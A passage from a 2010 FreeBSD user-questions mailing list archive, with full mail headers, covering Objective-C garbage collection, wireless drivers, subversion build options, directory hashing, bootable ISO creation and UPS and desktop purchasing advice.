1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <560f92641003100100y6490cf3veb53ca0b11a90dcb@mail.gmail.com> User-Agent: Mutt/1.4.2.3i Cc: FreeBSD Mailing List Subject: Re: Objective-C 2.0 on FreeBSD; garbage collection, anyone? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 13:44:07 -0000 On Wed, Mar 10, 2010 at 01:00:59AM -0800, Nerius Landys wrote: > #import "GarbageObj.h" > > int main(int argc, const char *argv[]) { > while (YES) { > GarbageObj *obj = [[GarbageObj alloc] init]; > [obj foo]; // foo is does literally nothing. > } > return 0; > } > > I am compiling this program and running it, and without the "release" > calls there, it certainly is using up more and more memory every > second. Definitely no garbage collection happening. I then modified > the GNUmakefile to make sure that the option "-fobjc-gc" was being > passed to gcc, and verbose output from make assured me that this was > the case. However, my program sill did not garbage collect (3 gigs of > RAM, then a segfault). I then tried the gcc option "-fobjc-gc-only" > and gcc42 reported that it did not recognize that option. The options > are described here: > http://developer.apple.com/mac/library/documentation/DeveloperTools/gcc-4.0.1/gcc/Objective_002dC-and-Objective_002dC_002b_002b-Dialect-Options.html While I am not very familiar with Objective C, I can tell you that GC generally runs in the background, using idle time to scavenge memory. (It's not counted pointers, synchronously freeing memory immediately.) So if you race to allocate memory in an infinite loop like this, you are destined to exhaust memory, GC or no, unless the runtime is designed to force a GC on alloc in low memory conditions. Try putting some sort of sleep in the middle of your loop and see if GC kicks in and you get more of a sawtooth memory usage pattern. Alex From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 14:48:25 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D385B1065673 for ; Wed, 10 Mar 2010 14:48:25 +0000 (UTC) (envelope-from parv@pair.com) Received: from hrndva-omtalb.mail.rr.com (hrndva-omtalb.mail.rr.com [71.74.56.124]) by mx1.freebsd.org (Postfix) with ESMTP id 8C7A38FC1B for ; Wed, 10 Mar 2010 14:48:25 +0000 (UTC) X-Authority-Analysis: v=1.0 c=1 a=aC9Ytz9v928A:10 a=kj9zAlcOel0A:10 a=_pxgbcHMAAAA:8 a=fMC33VS4B0YthUvQFJ4A:9 a=tI2F8H3h4JYNcnj393RJPh4PVfkA:4 a=CjuIK1q_8ugA:10 X-Cloudmark-Score: 0 X-Originating-IP: 72.130.250.48 Received: from [72.130.250.48] ([72.130.250.48:63709] helo=localhost.hawaii.res.rr.com) by hrndva-oedge03.mail.rr.com (envelope-from ) (ecelerity 2.2.2.39 r()) with ESMTP id FB/20-22310-731B79B4; Wed, 10 Mar 2010 14:48:24 +0000 Received: from holstein.holy.cow (localhost [127.0.0.1]) by localhost.hawaii.res.rr.com (Postfix) with ESMTP id 841DD35C2; Wed, 10 Mar 2010 04:50:00 -1000 (HST) Received: (from parv@localhost) by holstein.holy.cow (8.13.8/8.13.8/Submit) id o2AEnxWK002301; Wed, 10 Mar 2010 04:49:59 -1000 (HST) (envelope-from parv@pair.com) X-Authentication-Warning: holstein.holy.cow: parv set sender to parv@pair.com using -f Date: Wed, 10 Mar 2010 04:49:59 -1000 From: parv@pair.com To: Mario Lobo Message-ID: <20100310144959.GA1337@holstein.holy.cow> Mail-Followup-To: Mario Lobo , freebsd-questions@freebsd.org References: <4B976ED8.4090302@gmx.com> <4B9775B8.3040402@gmx.com> <201003100850.58321.lobo@bsd.com.br> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <201003100850.58321.lobo@bsd.com.br> Cc: freebsd-questions@freebsd.org Subject: Re: is there a native driver for 'Dell Wireless 1397'? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 14:48:25 -0000 in message <201003100850.58321.lobo@bsd.com.br>, wrote Mario Lobo thusly... > ... > I have 8-STABLE amd64 > > I have a dell vostro 1320 with a 4315 wireless and got it working > with the bwn driver from HEAD (svn) and the net/bwn-firmware-kmod > port. Mario, do WPA & WPA2 work with the card? - parv -- From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 15:26:24 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0B8F61065672 for ; Wed, 10 Mar 2010 15:26:24 +0000 (UTC) (envelope-from ndhertbsd@gmail.com) Received: from mail-px0-f200.google.com (mail-px0-f200.google.com [209.85.216.200]) by mx1.freebsd.org (Postfix) with ESMTP id D950B8FC1E for ; Wed, 10 Mar 2010 15:26:23 +0000 (UTC) Received: by pxi38 with SMTP id 38so1659182pxi.27 for ; Wed, 10 Mar 2010 07:26:23 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=aWUHhUJKEqwgKKcJAoTBY9Efz73vgYpE7Jcv81Px154=; b=mQorgAh3AvhNWv9czoOdEVKEyk3XWw/CoR3PiLAITEcog3DEOH/Wed0ZQbdowXhn6m 99mbZotCg7JKZMxSxAQswtxZoTmONHZZ0Q9MC8Mprpwc949BZjqTNbx98dXIoGS0IT0B X+2HQARkEC03MQGyO/FAkrX3TYfNRwTy7kq/c= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=myt6fQKUk1ecQPftrtkcwow+OooeqWJF7ztYnEOcOk6K6siW7xQ7VjLBNsLZasXWVS 9sH6+UvegvC3ZxnwgHWLzrZoFe0L8CPttZ21TOuxfTiYRnHR1gH55TemcU44KJa9mRve 2QGpiTvU+T3+RIV0dBrHfxN6vKwm5ra09aJ1k= MIME-Version: 1.0 Received: by 10.142.5.29 with SMTP id 29mr506979wfe.102.1268234783261; Wed, 10 Mar 2010 07:26:23 -0800 (PST) Date: Wed, 10 Mar 2010 16:26:23 +0100 Message-ID: From: n dhert To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: subversion1.6 gnome-keyring kwallet X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 15:26:24 -0000 http://blogs.open.collab.net/svn/2009/07/index.html tells that to be able to cache passwords in gnome keyring or in kwallet, the subverison binaries must be compiled with the respective options --with-gnome-keyring and --with-kwallet. # cd /usr/ports/devel/subversion # make config does not seem to show any such options .. How to do it ? From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 16:12:46 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A9B781065673 for ; Wed, 10 Mar 2010 16:12:46 +0000 (UTC) (envelope-from sergei.cherveni@gmail.com) Received: from mail-gw0-f54.google.com (mail-gw0-f54.google.com [74.125.83.54]) by mx1.freebsd.org (Postfix) with ESMTP id 66A608FC13 for ; Wed, 10 Mar 2010 16:12:46 +0000 (UTC) Received: by gwj15 with SMTP id 15so383099gwj.13 for ; Wed, 10 Mar 2010 08:12:45 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type; bh=CflW6krwMnYy6mz8Ibx3iMqfc0qi7pIrxlFLPzK+6JM=; b=A6/U2bjknXZhLB+L6Jn79mdOu1XN9wJEA78ACdYw1sx3l1HFJgXNEk8AVEUGRdYX2N xL+L4FjtM5/dnh5Mps34G4enukCI5M/QnA7f1MoYPTBtGo7HkFfmilSpWeiH8t81VftO 0O+ZImGcpot7rI1Dtf1ZmdplCa3CON1hhcvp4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; b=OpAW45JZsh1mnB4qB1nbin0ijghpyVPDfunHGkWdM/bkq36CaXGTSeWMRZ9sS9d+TM dL9Ofr5YxtuY9aPgFov2aCQqYOR9YoEBzs0pSmyGjhEMAyc/dRhD7L4NkFX7/fBzh1Sd ysKBz3bbjPqhMcxtMcuqFC/8DVQ56BuvWv8Eo= MIME-Version: 1.0 Received: by 10.231.146.211 with SMTP id i19mr66582ibv.22.1268236127284; Wed, 10 Mar 2010 07:48:47 -0800 (PST) In-Reply-To: <4B978D69.1080609@gmx.com> References: <4B976ED8.4090302@gmx.com> <4B9775B8.3040402@gmx.com> <4B978D69.1080609@gmx.com> Date: Wed, 10 Mar 2010 17:48:47 +0200 Message-ID: <17fae501003100748n65211947g16efe7fccfaee0dd@mail.gmail.com> From: Sergei Cherveni To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Subject: Re: is there a native driver for 'Dell Wireless 1397'? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 16:12:46 -0000 2010/3/10 Nikos Vassiliadis: > All I am looking for is an "I have and it works with FreeBSD-[89] > and amd64|x86". > #pciconf -lvcb none0@pci0:3:0:0: class=0x028000 card=0x137d103c chip=0x431514e4 rev=0x01 hdr=0x00 vendor = 'Broadcom Corporation' device = 'BCM4310 USB Controller' class = network bar [10] = type Memory, range 64, base 0xd8200000, size 16384, enabled cap 01[40] = powerspec 3 supports D0 D1 D2 D3 current D0 cap 09[58] = vendor (length 120) cap 05[e8] = MSI supports 1 message, 64 bit cap 10[d0] = PCI-Express 1 endpoint FreeBSD 8.0 i386 WLAN works fine via NDIS with WPA2 -- Sergei From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 16:51:53 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9075D106564A for ; Wed, 10 Mar 2010 16:51:53 +0000 (UTC) (envelope-from web@3dresearch.com) Received: from smtp.3dresearch.com (dorabella.3dresearch.com [66.167.251.2]) by mx1.freebsd.org (Postfix) with ESMTP id 64B348FC1E for ; Wed, 10 Mar 2010 16:51:53 +0000 (UTC) Received: from fracasso.3dresearch.com (pool-96-235-3-239.pitbpa.east.verizon.net [96.235.3.239]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by vmail.3dresearch.com (Postfix) with ESMTP id 489E094104 for ; Wed, 10 Mar 2010 11:51:52 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by fracasso.3dresearch.com (Postfix) with ESMTP id B21EB179DA for ; Wed, 10 Mar 2010 11:51:51 -0500 (EST) From: Janos Dohanics Organization: 3D RESEARCH To: freebsd-questions@freebsd.org Date: Wed, 10 Mar 2010 11:51:50 -0500 User-Agent: KMail/1.9.7 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <201003101151.50738.web@3dresearch.com> Subject: Directory with large number of files X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 16:51:53 -0000 I have a directory with over 180,000 files in 4 subdirectories. Over 170,000 of the files are in one of the subdirectories. The files are image files, mostly <50K. The machine has 2 GB RAM. What would be a reasonable setting for vfs.ufs.dirhash_maxmem? Is there a disadvantage to setting vfs.ufs.dirhash_maxmem too high? Is there any other setting to change to find files faster in a directory with such large number of files? Thank you for your advice. -- Janos Dohanics From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 18:18:00 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EDD8E1065673 for ; Wed, 10 Mar 2010 18:18:00 +0000 (UTC) (envelope-from psteele@maxiscale.com) Received: from server505.appriver.com (server505a.appriver.com [98.129.35.4]) by mx1.freebsd.org (Postfix) with ESMTP id AFD288FC0C for ; Wed, 10 Mar 2010 18:18:00 +0000 (UTC) X-Policy: GLOBAL - maxiscale.com X-Primary: psteele@maxiscale.com X-Note: This Email was scanned by AppRiver SecureTide X-ALLOW: psteele@maxiscale.com ALLOWED X-Virus-Scan: V- X-Note: Spam Tests Failed: X-Country-Path: UNITED STATES->UNITED STATES->UNITED STATES X-Note-Sending-IP: 98.129.23.45 X-Note-Reverse-DNS: ht03.exg5.exghost.com X-Note-WHTLIST: psteele@maxiscale.com X-Note: User Rule Hits: X-Note: Global Rule Hits: G179 G180 G181 G182 G186 G187 G198 G285 X-Note: Encrypt Rule Hits: X-Note: Mail Class: ALLOWEDSENDER X-Note: Headers Injected Received: from [98.129.23.45] (HELO HT03.exg5.exghost.com) by server505.appriver.com (CommuniGate Pro SMTP 5.3.2) with ESMTPS id 31662234 for freebsd-questions@freebsd.org; Wed, 10 Mar 2010 12:18:03 -0600 Received: from mbx03.exg5.exghost.com ([169.254.1.200]) by HT03.exg5.exghost.com ([10.242.228.75]) with mapi; Wed, 10 Mar 2010 12:17:59 -0600 From: Peter Steele To: "freebsd-questions@freebsd.org" Date: Wed, 10 Mar 2010 12:17:58 -0600 Thread-Topic: Creating a .iso bootable image Thread-Index: AcrAfgLpDg6vJ6E7RuOfZ9FIFMnijQ== Message-ID: <7B9397B189EB6E46A5EE7B4C8A4BB7CB3A2597D8@MBX03.exg5.exghost.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: Creating a .iso bootable image X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 18:18:01 -0000 Are there any good instructions for creating a customized bootable .iso ima= ge? I've done the work for creating a bootable USB image, but a .iso is a d= ifferent beast in that the boot media is read-only and a virtual disk has t= o be created as part of the boot process. Any pointers would be appreciated= . From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 18:20:12 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3E3AB106566C for ; Wed, 10 Mar 2010 18:20:12 +0000 (UTC) (envelope-from nvidican@m2.vidican.com) Received: from mail-wy0-f182.google.com (mail-wy0-f182.google.com [74.125.82.182]) by mx1.freebsd.org (Postfix) with ESMTP id D63078FC19 for ; Wed, 10 Mar 2010 18:20:11 +0000 (UTC) Received: by wyb32 with SMTP id 32so4653712wyb.13 for ; Wed, 10 Mar 2010 10:20:10 -0800 (PST) MIME-Version: 1.0 Sender: nvidican@m2.vidican.com Received: by 10.216.85.133 with SMTP id u5mr1274953wee.91.1268245209992; Wed, 10 Mar 2010 10:20:09 -0800 (PST) X-Originating-IP: [136.1.1.154] In-Reply-To: <201003101151.50738.web@3dresearch.com> References: <201003101151.50738.web@3dresearch.com> Date: Wed, 10 Mar 2010 13:20:09 -0500 X-Google-Sender-Auth: 09e40f83a4314f42 Message-ID: <795fc2b81003101020q3a0a73e6u5b43ec4dc1da04ce@mail.gmail.com> From: Nathan Vidican To: Janos Dohanics Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: User Questions Subject: Re: Directory with large number of files X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 18:20:12 -0000 In some passed projects of mine where large quantities of image files had to be referenced I used a hierarchical tree structure based on the filename. For example: instead of '/disk/images/0018391.jpg' I used '/disk/images/10000/8/3/91.jpg' instead of '/disk/images/abcdsomename.jpg' I used '/disk/images/a/b/cdsomename.jpg' In most cases it was to store large amounts of small image files to reference from web-apps and such with a database key. Usually I tried to work either numerically or alphabetically scaling to the database itself. This also allows you to (if needed) use multiple disks/mount-points down the line if the scale grows (ie: move /disk/images/a or /disk/images/10000 to a dedicated disk/mount if room runs out or for performance reasons). Not sure on the system-side what the advantages versus using a single large directory will be - but I noted it was a much easier way to maintain things and scaled very well (in one case had a directory with well over a million images tied to a database of a product catalog, we broke it down by department/section and then by numeric key and eventually had to dedicate larger/faster storage to certain sections thus off-loading the work from all-in-one and requiring minimal effort to do so). Food for thought anyways - hope it helps. -- Nathan Vidican nathan@vidican.com On Wed, Mar 10, 2010 at 11:51 AM, Janos Dohanics wrote: > I have a directory with over 180,000 files in 4 subdirectories. Over > 170,000 > of the files are in one of the subdirectories. The files are image files, > mostly <50K. The machine has 2 GB RAM. > > What would be a reasonable setting for vfs.ufs.dirhash_maxmem? Is there a > disadvantage to setting vfs.ufs.dirhash_maxmem too high? > > Is there any other setting to change to find files faster in a directory > with > such large number of files? > > Thank you for your advice. > > -- > Janos Dohanics > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 18:31:21 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B590D1065673 for ; Wed, 10 Mar 2010 18:31:21 +0000 (UTC) (envelope-from jhelfman@e-e.com) Received: from mail.experts-exchange.com (mail.experts-exchange.com [64.156.132.251]) by mx1.freebsd.org (Postfix) with ESMTP id 9F34A8FC26 for ; Wed, 10 Mar 2010 18:31:21 +0000 (UTC) Received: from eggman.experts-exchange.com (unknown [72.29.180.81]) by mail.experts-exchange.com (Postfix) with ESMTP id A21A44A2DADA; Wed, 10 Mar 2010 10:25:42 -0800 (PST) Received: by eggman.experts-exchange.com (sSMTP sendmail emulation); Wed, 10 Mar 2010 10:29:39 -0800 Date: Wed, 10 Mar 2010 10:29:38 -0800 From: Jason To: Peter Steele Message-ID: <20100310182938.GA8284@eggman.experts-exchange.com> References: <7B9397B189EB6E46A5EE7B4C8A4BB7CB3A2597D8@MBX03.exg5.exghost.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Disposition: inline In-Reply-To: <7B9397B189EB6E46A5EE7B4C8A4BB7CB3A2597D8@MBX03.exg5.exghost.com> X-Operating-System: FreeBSD 7.2-RELEASE-p7 X-Living-The-Dream: I love the SLO Life! User-Agent: Mutt/1.5.20 (2009-06-14) Cc: "freebsd-questions@freebsd.org" Subject: Re: Creating a .iso bootable image X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 18:31:21 -0000 Hi. You can do this with the native "make release" process for freebsd. http://www.freebsd.org/doc/en_US.ISO8859-1/articles/releng/release-build.html Is this what you are looking for? On Wed, Mar 10, 2010 at 12:17:58PM -0600, Peter Steele thus spake: >Are there any good instructions for creating a customized bootable .iso image? I've done the work for creating a bootable USB image, but a .iso is a different beast in that the boot media is read-only and a virtual disk has to be created as part of the boot process. Any pointers would be appreciated. >_______________________________________________ >freebsd-questions@freebsd.org mailing list >http://lists.freebsd.org/mailman/listinfo/freebsd-questions >To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 18:40:59 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 44842106566C for ; Wed, 10 Mar 2010 18:40:59 +0000 (UTC) (envelope-from kline@thought.org) Received: from ethic.thought.org (plato.thought.org [209.180.213.209]) by mx1.freebsd.org (Postfix) with ESMTP id EE14A8FC13 for ; Wed, 10 Mar 2010 18:40:58 +0000 (UTC) Received: from thought.org (ethic.thought.org [10.47.0.230]) (authenticated bits=0) by ethic.thought.org (8.14.3/8.14.3) with ESMTP id o2AIesiP065339; Wed, 10 Mar 2010 10:40:54 -0800 (PST) (envelope-from kline@thought.org) Received: by thought.org (nbSMTP-1.00) for uid 1001 kline@thought.org; Wed, 10 Mar 2010 10:40:55 -0800 (PST) Date: Wed, 10 Mar 2010 10:40:54 -0800 From: Gary Kline To: Matthew Seaman Message-ID: <20100310184054.GA65190@thought.org> References: <20100309191916.GA55827@thought.org> <4B96E3CA.7050906@hdk5.net> <20100310033452.GA2223@thought.org> <4B9748F2.6060707@infracaninophile.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4B9748F2.6060707@infracaninophile.co.uk> User-Agent: Mutt/1.4.2.3i X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: With 23 years of service to the Unix community. X-Spam-Status: No, score=-1.2 required=3.6 tests=ALL_TRUSTED,BAYES_00, FH_DATE_PAST_20XX autolearn=no version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on ethic.thought.org Cc: FreeBSD Mailing List , Al Plant Subject: Re: "tao" suddenly died X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 18:40:59 -0000 On Wed, Mar 10, 2010 at 07:23:30AM +0000, Matthew Seaman wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On 10/03/2010 03:34:52, Gary Kline wrote: > > Well, long-story-short, the most unepect thing happened: a > > power surge. I did not realize that my printer was also off > > until hours later. A friend helped me trace the problem and > > reset my surgge-protector. ---It is worth noting that BEFORE > > I got my battery [UPS], when things were dead or suddenly > > went dead, i knew right away to check the surge-protector. > > Uh -- if you have a UPS, why are you using a surge protector as well? > The function of a UPS is to condition your power supply. It puts > out clean 110/220V 50/60Hz power (depending on where you live) > irrespective of what it is getting from the mains. That is, the UPS > also does all the surge protection function itself. Not only that, it > should cope with surges by absorbing them, rather than blowing a circuit > breaker, so it carries on running after the surge is over. > > Admittedly some UPS designs are better than others -- inline UPSes are > the best, but tend to be more expensive. These work by converting the > input to DC and then converting back to AC. Cheaper UPSes monitor the > characteristics of the incoming current and switch to battery power if > it is out of specification, which is not really failsafe. > > Also, didn't your UPS sound the alarm? They are normally too loud to > ignore easily. > (This is all new to me, first, and I do not have everything plugged into the UPS, second. I don't have the unit fully configured [via X11] so want to keep the load as light as possible. ) The unit is an APC manufacture; should be closer to the top of the line -- that's just my guess. What happened yesterday morning was that my DNS and firewall, router and widescreen kept on working ... :-D Now it's time for me to finish the task on upgrading and maintenance. Trying to decide whether to build another home-brew computer or buy one off the shelf. gary > Cheers, > > Matthew > > - -- > Dr Matthew J Seaman MA, D.Phil. 7 Priory Courtyard > Flat 3 > PGP: http://www.infracaninophile.co.uk/pgpkey Ramsgate > Kent, CT11 9PW > -----BEGIN PGP SIGNATURE----- > Version: GnuPG/MacGPG2 v2.0.14 (Darwin) > Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ > > iEYEARECAAYFAkuXSPIACgkQ8Mjk52CukIwEOwCfWQN0avDyhhKwrP9THpWkd4Na > 5i0Ani14kuI9kYx2RF9x5gOJf/Khcb+I > =32IO > -----END PGP SIGNATURE----- -- Gary Kline kline@thought.org http://www.thought.org Public Service Unix From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 19:01:23 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4C2C71065670 for ; Wed, 10 Mar 2010 19:01:23 +0000 (UTC) (envelope-from kline@thought.org) Received: from ethic.thought.org (plato.thought.org [209.180.213.209]) by mx1.freebsd.org (Postfix) with ESMTP id F2F4B8FC0A for ; Wed, 10 Mar 2010 19:01:22 +0000 (UTC) Received: from thought.org (ethic.thought.org [10.47.0.230]) (authenticated bits=0) by ethic.thought.org (8.14.3/8.14.3) with ESMTP id o2AJ1Hou065487; Wed, 10 Mar 2010 11:01:17 -0800 (PST) (envelope-from kline@thought.org) Received: by thought.org (nbSMTP-1.00) for uid 1001 kline@thought.org; Wed, 10 Mar 2010 11:01:17 -0800 (PST) Date: Wed, 10 Mar 2010 11:01:17 -0800 From: Gary Kline To: Adam Vande More Message-ID: <20100310190117.GB65190@thought.org> References: <20100309191916.GA55827@thought.org> <4B96E3CA.7050906@hdk5.net> <20100310033452.GA2223@thought.org> <6201873e1003092004y5e1a7c5and97c8eb849619961@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <6201873e1003092004y5e1a7c5and97c8eb849619961@mail.gmail.com> User-Agent: Mutt/1.4.2.3i X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: With 23 years of service to the Unix community. X-Spam-Status: No, score=-1.2 required=3.6 tests=ALL_TRUSTED,BAYES_00, FH_DATE_PAST_20XX autolearn=no version=3.2.5 X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on ethic.thought.org Cc: FreeBSD Mailing List , Al Plant Subject: Re: "tao" suddenly died X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 10 Mar 2010 19:01:23 -0000 On Tue, Mar 09, 2010 at 10:04:26PM -0600, Adam Vande More wrote: > On Tue, Mar 9, 2010 at 9:34 PM, Gary Kline wrote: > > > Aloha Al and thanks for responding. {god this has been a > > long day... . ............} > > > > Well, long-story-short, the most unepect thing happened: a > > power surge. I did not realize that my printer was also off > > until hours later. A friend helped me trace the problem and > > reset my surgge-protector. ---It is worth noting that BEFORE > > I got my battery [UPS], when things were dead or suddenly > > went dead, i knew right away to check the surge-protector. > > > > nutshell: things are almost back. it'll be only an hour > > before everything is back. > > > > still, this is a warning to get back on the ball and start > > looking for a new desktop. > > > > i would be much obliged for ideas on what kind of dell to buy > > next. i say 'dell' because i would like to make life simple > > and eventually have one kind of box. (i have three tower > > computers: one is my DNS/mail/web server; one is my pfSense > > firewall; one is my laptop. i COULD use the server as a > > desktop, but that would be too much of a risk! > > > > so:: should i be looking for a dual or quad? ----i am biased > > toward intel because i think the AMD requires more juice. [[my > > only linux server --long dead-- seemed to suck 100w to 107w as > > a minimum.]] > > > > suggestions? > > > > I don't really think much of Dell consumer level products or support. While > they aren't the worst out there, it still doesn't make it very compelling > for me. Depending on your resources(money) you might consider something > like this: WEll, frankly, _cost_ is less of an issue considering all the grief, &c. i think I've built [custom ordred] more and better systems than the Dells and HPs. > > http://www.ixsystems.com/apollo I'll look this up when I am using a GUI mailer. > > While more money than you'd probably spend with dell, here's a couple > reasons to consider it further. > > 1. Out the Box compatibility > 2. Great hardware support/warranty service > 3. Vendor backing of your OS > 4. Long term upgradability, this will serve you better than any emachine. > 5. ixsystems is a large supporter of FreeBSD > > I believe the TCO of something like that is lower than most alternatives. > > One further thought is I don't see a lot sense in the requirement "must be a > dell, cause the other ones I have are dell" given the amount of machines you > run. To me, it would make more sense to standardize on something like cpu, > so that you could run one as a build system/package repository. I know that > settling on one vendor generally means you only need one source for warranty > work, but with stickers on cases and online accounts this isn't such an > issue anymore. > I would like to establish a history with one vendor, so your feedback makes sense. What I haven't decided on yet in whether to go with a dual-core or quad-. mY current desktop is a 2.4GHz and has always seemed slow when I've running more than five tasks. Strange. The new dual-core server is like greased lightening ... and extremely lightly loaded. gary > > -- > Adam Vande More > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- Gary Kline kline@thought.org http://www.thought.org Public Service Unix From owner-freebsd-questions@FreeBSD.ORG Wed Mar 10 19:13:27 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4B8971065672 for ; Wed, 10 Mar 2010 19:13:27 +0000 (UTC) (envelope-from dak.col@gmail.com) Received: from mail-iw0-f178.google.com (mail-iw0-f178.google.com [209.85.223.178]) by mx1.freebsd.org (Postfix) with ESMTP id 0956A8FC20 for ; Wed, 10 Mar 2010 19:13:26 +0000 (UTC) Received: by iwn8 with SMTP 